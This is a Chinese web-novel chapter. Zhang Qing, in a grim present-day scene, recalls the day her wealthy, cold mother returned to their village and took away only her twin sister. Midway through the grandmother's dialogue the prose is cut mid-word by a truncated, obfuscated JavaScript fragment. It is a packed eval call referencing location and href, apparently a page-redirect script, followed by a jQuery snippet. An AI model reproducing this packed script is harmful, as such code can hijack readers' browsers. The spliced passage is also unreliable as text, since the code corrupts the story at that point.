“张情！”


门口有喊声。


张情抬起头，世界变得缓慢了，她看见几个人，好像认识好像不认识，围了过来，聚了过来。


眼睛一眨似乎看见另一个世界。


风吹来，身体哆嗦了一下。张情睁大眼睛，看见一张晒得蜡黄而发黑的脸，剑眉紧皱，一脸严肃，像四十年代画像上一本正经的老干部的脸。张情记得这张脸，她曾经喜欢过好多年，后来也挺喜欢的，但是……


“张情。”


低沉的声音让她浑身一震，她突然想起什么，抬起眼，这一次，视野透明，她看见余有为，看见陈宇南，看见悦凌凌，看见平月，还看见梁威，他们跟在梁威身后，往厕所走过来。


不……


她可以死，但决计不能让人看见她的狼狈。


“嘭！”撞上门，一把扣上反锁。一系列需要用力的动作消耗了她最后的力量。她跌坐在地上。滑溜溜、蠕黏黏的大肠贴在两股和瓷砖之间，是蠕软的触感。


她已经分辨不出这种感觉是舒适还是令人恶心。身后的门被拍响，梁威的身影占据整张玻璃，他俯身在玻璃上，想隔着门看她。


“张情，你开门。”


张情摇摇头，不开。


不可能让他们看见这样的她，更不可能让梁威看见这样的她。


“张情。”


“你怎么了？”


“开门啊。”


不知道是谁在叫她，她听不清了。


人靠在玻璃门上，视野是模糊的。后背的冷玻璃让她起了鸡皮疙瘩，浑身发颤。像冬天的夜晚，也像深秋的早晨。


张情不记得那天是什么季节，好像是晚上，也好像是早上。一辆车开进胡同，黑色的轿车，黑得发亮。能发亮应该是白天吧？张情想。


那就是白天，亮得惊眼的轿车门推开，一个穿西装制服的男人下车——张情从来没见过那样的衣服，工整，笔直，服帖，昂贵，像将布贴在人的身上裁剪缝制的。


她是云城清溪镇的，虽然在镇上，但家比较穷。她穿的衣服是外婆买的布自己裁自己缝的。每一件都得缝大些，这样能穿好几年。那是张情第一次看见贵衣服，一眼记了几十年。


小城市的小镇人口不多，在一九九几年，当一辆油亮亮的轿车开进来，立刻吸引了所有人的注意力。车头上立着银的三角形，其实是银色，但据摸过的人说肯定是银子。


那是连镇长都开不起的轿车。长长的。黑色的。停在了张情家门口，张情和妹妹和外婆像木愣子似的，听外面有人喊“张家婆子，你家来轿车啦”，然后三个人就好奇地跑出去，傻愣在门口，看那辆黑色的轿车从驾驶室下来一个西装革履的男人。


男人很得体，至少张情只在长大后的大城市见过这样的男人。他弯腰时挽住从脖颈惯性掉下来的领带，另一只手拉开后排的车门，而后站在车门后面等。


先出来的是一只漂亮的高跟鞋，鞋跟又细又长，点缀着闪闪发亮的钻石，美得闪瞎了张情的眼。她盯着那双好看干净的高跟鞋轻轻落在灰尘厚厚的地上，那一瞬间，张情在后悔今天起迟了没扫门口，不然这双高跟鞋就能踩在干净的青石板上。


那是一个漂亮的女人，细长的腿在旗袍之间若隐若现，肩上披着看起来就很高贵的深紫色披肩，边缘缀着一圈柔软的狐狸毛。


张情盯着这个女人，眼里尽是羡慕的光。


那个女人垂下眼，望着这个不足她腰高的女孩，笑了，“你就是阿情吧。”


她笑起来，很温柔，也很魅惑。张情看痴了，外婆在耳边说叫妈妈，她也没听见。那个女人轻轻摸了摸她的头顶，就转向另一边，那里站着张情的妹妹。她和张情几乎是一个模子刻出来的，眼睛、鼻子、嘴唇、脖颈，哪怕是身高，都一模一样。只是妹妹眉毛尾部的下方一点点，眼皮之上有一颗小小的红痣。


妹妹叫阿姣。她抬眼看女人，娇脆脆地叫了一声妈妈。


女人当即笑得更开心了，手摸着阿姣的眼睛，说真好看。那颗小小的红痣在她抬眼之间，衬得她像一朵娇嫩欲滴的清晨玫瑰，鲜艳娇媚。


“妈。”女人对张家阿婆说，“我回来了，只待两天，明天就走。”


“诶诶诶好！快进来快进来。”外婆笑呵呵的请她进去，“多少年没回来啦，在外面过得好吗？怎么不多待几天？阿情和阿姣很想你。”


张情和张姣站在门口，看他们的妈妈挽着披肩踩着高跟鞋一步一步踩进堂屋，高跟鞋咚咚的声音像踩在张情的心上，让她生出无限羡慕和愉悦。她的妈妈很美，走路都很美，像画里面出来的，身姿摇曳，尽是风情。


妈妈进了堂屋，昏暗的堂屋将她的身影盖住，只剩下模糊的影。外婆点上油灯。


张情扭头看门外的男人。阿婆也在看。妈妈说：“他啊，老张家的司机。”


阿婆笑着请他进来坐，说这一路辛苦你啦。阿婆让阿姣去倒水，阿姣摇头说不要。张情就去倒水来，拿来帕子给他们洗脸洗手。


那时候的规矩，客人进屋是远道而来，身上肯定染了污脏，要用热水洗一洗，净一净，才能玩得更舒服。


男人不懂，但张情拧干帕子，他也接住了。妈妈说她化了妆，洗不得脸。她叫阿姣过去，搂着阿姣在腿边，问阿姣今年几岁了，上学没有。


说起来这个，外婆就叹气。书是在读，却都不爱学，学着学着就丢。外婆有些心疼钱，又有些心疼两个孙女，才四岁就要去上学，每天起大早，累。外婆说阿情的成绩要好些。


妈妈点点头。


张情满怀期待妈妈看过来夸一句，随便一句什么都可以。但她没有，只是搂着妹妹，笑着说别的话。


妈妈对外婆说，阿姣像我。


外婆揽过张情，抱在怀里，说都像。


外婆身上有一股甜甜的香，令人安心。张情原本有点不开心，被外婆一抱，所有坏掉的情绪都烟消云散了。她窝在外婆怀里，用脸蹭外婆暖暖的怀抱。


妈妈很挑食，外婆做了一大桌菜，很多肉，鸡肉、鱼肉、猪肉，平时张情和张姣只能吃少少的一点肉，今天好多肉，妈妈都不怎么吃，只用筷子撩了两颗米放进嘴里，嚼嚼。再拣一片青菜，只吃叶子，把菜根放置在桌上。


这样浪费，但张情只敢看着。外婆笑着问是做咸了还是油放少了？妈妈说没事，吃着累而已。


外婆说回来一趟需要多久呀？妈妈说十几个小时吧。外婆心疼坏了，说那你快些吃完了去睡觉吧。睡我的屋，床单和被套重新铺过了。


妈妈把筷子一搁，让司机把行李箱拿进来。那是一个大箱子，里面装满了各式各样的华丽衣服，被搬进外婆睡的屋里。


晚上，外婆和张情、张姣挤在一张窄窄的床上睡。司机在柴房用稻草打地铺。


夜里，睡不着，张情问外婆为什么妈妈不在家里住，要去外面。外婆说妈妈结婚了，丈夫在很远的地方，所以妈妈要在那里。张情问是我们的爸爸吗，外婆说是。张情问为什么爸爸不回来。外婆说快睡吧。


张情是很听外婆的话的。闭上眼睛，但还是睡不着，小小身体在外婆的怀里蠕来蠕去。


张姣也睡不着，问外婆，爸爸妈妈很有钱吗。张情不蠕了，睁开眼睛望着外婆。外婆说应该有吧。张姣问那他们为什么不接我和姐姐过去。外婆说他们太忙了。张姣问那妈妈会给我们钱吗。张情说妈妈肯定很有钱，她是坐车回来的，她肯定会给我们钱，我们还要吃饭上学呢。


外婆说阿情别这样说，妈妈也很辛苦。


……


第二天，张情起很早，在灶房烧水，一大锅的热水，另一口大锅熬着粥。她想等会妈妈醒来，就可以洗上热水脸，吃上热乎饭了。妈妈那么远回来，很辛苦，喝粥最好。外婆生病的时候，喝粥就好得快。


水烧开了，粥煮熟了，太阳晒亮了天空，隔着院落大门，外面有嘈杂的声音，是那些远的近的围在她家门口看车。


妈妈还没起来。外婆也没起来。张姣从茅房出来，揉着眼睛又回屋里继续睡了。


张情将灶肚里的火减成最小，让水和粥慢吞吞地温着。她想妈妈太累了，肯定要多睡会。


结果日上三竿了，妈妈和外婆还没起来。张姣已经醒了，蹲在院子里漱口。张情问她外婆醒了吗。张姣吐出嘴里的水，说早醒啦，在妈妈房里。


灶肚里的火全熄了。张情又添一些，又烧熄了，粥都快熬干了，她不敢加火了，只能盖着锅盖防止热气跑走。


快中午了。张姣不知道上哪儿去了。张情几乎能感受到锅里的水和粥有些变凉了。


深秋就是这样，所有东西都冷得极快。


张情从灶房出来，往妈妈睡的屋子走。她跨进堂屋，转进睡觉的里屋。里屋的门关着，但站在门外，能听见外婆和妈妈说话的声音。她们的声音不大，可那时的门不隔音。


外婆说，阿情和阿姣越来越大了，阿情是个聪明孩子，读书很好，学校老师说她看一遍就能记着。阿姣虽然读书不好，但人很乖。我年纪也越来越大了，养不了多少年了，你这次回来就把她们带走吧，让阿情好好读书，阿姣随便学个什么都好，有你和他在，两个孩子不会吃亏的。


妈妈说我这次回来就是想带走，他嫌家里清净，想要个孩子了。与其让外面的人生，不如我带过去。


外婆没说话。妈妈也没说话。张情不懂她们为什么不说话，妈妈要带走她和妹妹，不是外婆最希望的吗？虽然张情很舍不得外婆，但是她也很喜欢妈妈，想和妈妈在一起。


许久之后，外婆叹口气，问：“两个……不行吗？”


妈妈没出声。


外婆又叹气，“你想带谁？”


妈妈说：“阿姣。她像我。”


外婆说：“阿


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15138497|160543||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


情也像，她和你一样聪明。你小时候……”


妈妈打断她，说别说以前的事了，你怎么老爱回想以前的事，以前多不好，没吃没喝没穿。现在多好，吃不完穿不完用不完。你也是太节省了，我给你打那么多钱，你该买就买，你不用，我以后就不给你打钱了。


外婆说我不说以前了。钱够用，你留着自己用吧，养一个孩子是很难的，想带阿姣就让她跟你去吧。你那边生活得好一点，让阿姣去……外婆叹一口气，阿情……


妈妈有点烦了，语气变得极度冷淡，别说阿情了。


外婆紧张地搓着手，连连答应好好好，我不说了。


……


张情不知道自己怎么回灶房了，锅里的水冷了，粥也冷了。她坐在灶肚前，刚烧完火的灶肚没有一点温度，变得冰凉凉的。冻得她浑身发抖。


她想不明白，妈妈的生活那么好，开着镇长都开不起的轿车，为什么只接妹妹过去，不要她？她哪里不好？是因为她没有第一时间叫妈妈吗？可是她从生下来到现在，在她的记忆里，这是第一次见妈妈，她不知道她是妈妈啊……


张姣跑进来，说阿姐，我饿了。


张情站起身，掀开锅盖，冷却的水蒸气从锅盖滴滴答答流了一地，流到手上，凉得浸骨头。


张情说冷了，你坐会儿，我热一热。


张姣踩在板凳上，踮起脚尖往锅里看，笑嘻嘻说阿姐粥都变干饭啦，再热就糊啦。


张情说那我给你烧个地瓜。张姣说阿姐，我想吃鸡肉，昨晚的肉还没吃完。张情说好，那我把鸡肉撕一撕放在粥里，再舀一勺鸡汤，用搪瓷杯装着坐在灶肚里热。张姣开心地跑了。


张情热好了鸡汤饭，用毛巾裹着，端到堂屋去。妈妈的房间里还有说话声，只不过这一次是和阿姣说话。妈妈问阿姣愿意跟她回家吗。声音是那样的温柔。


张姣脆生生的声音很大，说愿意，我想跟妈妈回家。


妈妈笑了。


张姣问，姐姐和外婆也去吗。


妈妈说，不去哦，外婆舍不得家，姐姐舍不得外婆。


张姣嘟着嘴，说我也舍不得，舍不得外婆和阿姐。


妈妈摸着阿娇的头，说她们以后会来，这样阿姣还和妈妈一起走吗，妈妈很想阿姣所以才回来的。


妈妈是那样的难过，垂着头，声音发哑。张姣皱着脸，用小小的手摸着妈妈的脸，说妈妈你别伤心，阿姣跟你回家，以后我们再接外婆和阿姐回家。


妈妈一把抱住阿姣，望着昏暗的空洞，说阿姣真乖。


……


阿姣走得突然，午饭都不吃就要走。张情想去给她收拾衣服都来不及。妈妈说这些东西用不着，到了那边，会全部买新的。


张姣拉着阿姐的手，一脸不舍。张情扯出一个漂亮的笑容，说你跟妈妈去要听话。


张姣点点头。


张情还想说什么，妈妈说时间很迟了，再不走，天就黑了。


明明才到中午。


司机把妈妈的行李箱搬上车，妈妈往大门走了几步，回头叫阿姣，说走了。


张情紧紧拽住张姣的手。张姣哭了，泪水糊满一整张脸。张情也快哭了，这是她第一次离开妹妹，也许以后很多年很多年都见不着了。


她不知道该怎么安慰妹妹，但她知道自己不能哭，只要她哭，妹妹肯定哭得更凶。


她丢开妹妹的手，跑进堂屋，把那蛊粥端出来，连同勺子一并塞到阿姣手里，说你不是饿了吗，带到车上吃吧。


张姣捧着滚烫的鸡汤粥，又被妈妈催了一声，才扭头跟着上了车。


她人小小的，一钻就进了车里，小小的团在妈妈的身边，双手捧着掉了漆的搪瓷杯。与那辆发亮发光的昂贵轿车格格不入。


张情还是没忍不住流出泪来。车门被关上了。司机坐进车里，将车开走了。


张情追在后面。只看见汽车尾巴排出来的乌青色的尾气和灰尘。


张姣牢牢扒在车窗上，隔着雾蒙蒙黑压压的车玻璃，看姐姐的身影越来越远，越来越远，渐渐看不见了。外婆也看不见了，她的家看不见了。


“这什么东西，烫死我了。”身后传来妈妈的声音。


张姣扭头。看见阿姐给她煮的那蛊粥洒了，在黑色的皮椅上到处流，打湿了妈妈的裙子，烫着妈妈了。


张姣慌张地用手去抹那些粥，想将它们从妈妈身边拦开。


妈妈厌恶地皱眉，说这么多年了还用这么破烂的东西，烦人。车玻璃在她那边降下来，张姣的视线变得清晰了，她看见外面枯黄干涸的田地，蓝色的天和雪白的云，只蓝了一会儿，就被乌云盖成黑压压的一片。


妈妈捞起那蛊粥，扔出了车窗。


“妈妈！”


张姣失声尖叫。


妈妈说，张姣，你听清楚，到家的第一条规矩就是不能大声尖叫。